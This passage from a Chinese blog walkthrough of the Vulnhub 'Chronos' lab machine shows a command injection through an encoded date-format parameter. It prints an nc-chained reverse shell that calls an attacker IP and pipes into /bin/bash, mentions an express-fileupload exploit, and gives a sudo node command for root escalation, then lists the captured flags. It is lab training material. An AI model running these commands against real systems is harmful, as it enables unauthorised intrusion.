Vulnhub靶机随笔-Chronos

25 阅读6分钟
3. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/b0fce8854e9c49feb27c913c6e835e50~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=N8rmBozO2lrVnEKs7e2%2BzS%2BvIZo%3D)
4. 走到这一步,我们不妨再大胆一点,date是系统命令,format后面是选项参数,那我们是不是可以利用burpsuit抓包进行命令执行漏洞?
5. 因为format后面是base58加密的,所以我们也需要进行编码才能执行漏洞
6. 输入命令'+Today is %A, %B %d, %Y %H:%M:%S.' | ls -l
7. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/d470f3ee68414453b463f77120c9c2f6~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=fMujZB2YtEOiJ%2B6%2FSF3pRQVm0s8%3D)
8. 进行编码
9. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/6a8fb8319432471a803e10e2da7cb455~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=WQ%2FTm%2F%2BVSRtvvouBXnNuXDo390M%3D)
10. 抓包进行篡改
11. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/ff774d56d9a7499eabe092e9c9b2b75e~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=q4crM%2Fhr0mRLg88z04rXBI0RXx8%3D)
12. 成功获取信息,既然可以进行命令注入,我们必须要尝试nc反弹shell
13. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 攻击机IP 监听端口
14. 进行编码:
15. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/bbf716d76af64752bd93a723adabd54b~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=s6N9bRNx48vOqAN6DxpyeqBA%2B%2F4%3D)
16. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/1b9300bc42f344d1b48563593779d3a3~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=yQmQKmoMXAz5xRCwba5b8sy1HVM%3D)
17. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/2e0d8d3965b544218b7964e1efccdc57~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=2RjFyFCyfPGV9QuT1CMbEicllHg%3D)
18. 这里显示错误,但是连接是OK的,这里就要用到一个独特方法:      **nc****串联**
19. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 192.168.1.105 4444 |/bin/bash | nc 192.168.1.105 5555
20. 进行编码
21. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/9b3de98faf8049cead880107318b1788~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=Cxy4gClHmpdUa52253go%2BUYqMIg%3D)
22. 开启监听
23. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/58df0dded8de4a43944a7e9075e058d5~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=9xGIVxbB5FPWenJHctk4GPhr9Rw%3D)
24. ![](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/aa17fd6960864acea6e61490cbe183c2~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1772119093&x-signature=5hNJRqPWfTC5hqoU9Qk5WmN8xfE%3D)
    1. 可以看到成功建立连接,并且有反馈,不过是在5555这个窗口中
  1. 提权
    1. 我们先看看有没有什么可用的信息,先进家目录
    2. 有一个user.txt,但是我们没有权限查看
    3. 在进行大量的信息搜集以后,我们还是回到最初的起点,去网站里翻阅一下
    4. 简单介绍一下Node.js
    5. Node.js项目遵循模块化的架构,当我们创建一个Node.js项目,意味着创建了一个模块,这个模块的描述文件,被称为package.json, 它包含了运行项目所需要的各种依赖、项目配置信息
    6. 所以我们去查看一下package.json
    7. Emmm,没什么用,就在一筹莫展之时,别忘了还有一个chronos-v2,而且还是root权限
    8. 继续查看package.json
    9. 终于找到一点有用的东西,有点文件上传的味了,而且这提示我们去看一下server.js文件,在大佬的文章中,我得知了express-fileupload漏洞利用脚本,并且利用前提parseNested是开启的,如下图片
    10. 攻击脚本如下:
    11. 在1的位置输入攻击机的IP地址,2的位置因为是本地上传所以用回环地址没什么问题,也可以解析到.
    12. 接着就是上传文件,可以将shell.py发布出去,也可以将脚本放进/var/www/html文件下,开启apache2服务,在靶机上获取并运行即可
  2. 运行脚本获取用户shell
    1. 先在攻击机上开启监听,端口为脚本里设置的,我这里5555冲突了,忘记了已经使用了,所以我在脚本中更改为9999
    2. 成功获取到用户imera的shell,终于可以看家目录底下的user.txt了
    3. 获取到第一个flag: byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
  3. 继续提权
    1. 我们还要提权到root用户
    2. 这里使用的是sudo -l进行提权
    3. 我们可以利用node,node就是类似于java语言的开发环境,我们平常写的是python反弹shell,今天写一个java的反弹shell
    4. 命令: sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
    5. 获取到第二个flag: YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
    6. 这里就不解码了,因为解出来我也看不懂,感兴趣的自己琢磨琢磨吧
  4. Finish,题目解完了,你们的点赞是我更新的动力